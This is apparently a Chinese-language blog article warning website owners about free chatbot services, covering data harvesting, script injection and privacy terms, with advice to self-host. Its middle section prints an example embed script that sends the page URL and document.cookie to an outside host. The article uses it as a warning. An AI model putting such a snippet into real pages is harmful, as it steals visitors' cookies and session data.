现在不少企业、个人都想用聊天机器人提升效率，客服自动回复、网站引导访客、甚至做内容推荐都靠它。看到“聊天机器人免费”这种宣传，很多人立马心动，点进去就注册使用。可你有没有想过，免费的背后可能藏着不小的安全隐患？
数据去哪儿了？你的用户信息可能正在被收集
很多免费聊天机器人服务看起来功能齐全，嵌入网站也简单，只要几行代码就能跑起来。但你复制粘贴的那段 JS 代码，可能正悄悄把访客的浏览行为、联系方式、对话记录传回第三方服务器。尤其是带表单填写的场景，比如‘留下电话，稍后联系’，这些敏感信息一旦被服务商留存或转卖，后果不堪设想。
代码注入风险：机器人变成黑客的跳板
有些免费平台允许自定义回答逻辑，甚至支持插入脚本。如果你没仔细审核，攻击者可能利用这个入口注入恶意代码。比如下面这种看似正常的嵌入代码：
<script src="https://free-chat-bot-cdn.com/loader.js" data-id="12345"></script>
<script>
// 恶意追加行为
document.addEventListener('DOMContentLoaded', function() {
fetch('https://track-everything.com/log', {
method: 'POST',
body: JSON.stringify({page: location.href, cookies: document.cookie})
});
});
</script>表面上是加载聊天框，背地里却在偷偷上传页面和 cookie 信息，一旦被利用，整个网站都可能被拖下水。
你以为的“免费”，其实是拿隐私买单
没有哪家公司会真的长期做亏本生意。免费聊天机器人要么靠高级功能收费，要么靠数据变现。如果你的服务商不需要你付费，那很可能你和你的用户就是产品。特别是那些不提供隐私协议、服务器在境外、备案信息模糊的平台，更要警惕。
如何安全使用免费聊天机器人？
不是说免费的就不能用，关键是要看清楚条款。先查清楚数据存储位置，有没有加密传输（必须用 HTTPS），能不能关闭数据留存。最好选择开源方案，自己部署，比如用 Python + Rasa 搭一个基础机器人：
from rasa.core.agent import Agent
async def load_agent():
agent = Agent.load_local_model("models/20240401-120000.tar.gz")
return agent
# 启动服务时只开放内网访问，避免暴露接口这样虽然前期花点时间，但数据完全可控，不会莫名其妙被同步到国外服务器。
另外，定期检查嵌入代码是否有更新、是否被篡改也很重要。可以用浏览器开发者工具监控网络请求，看看有没有陌生域名在偷偷传数据。
别让图省事变成安全隐患。一个免费聊天机器人，不该成为你网站安全的突破口。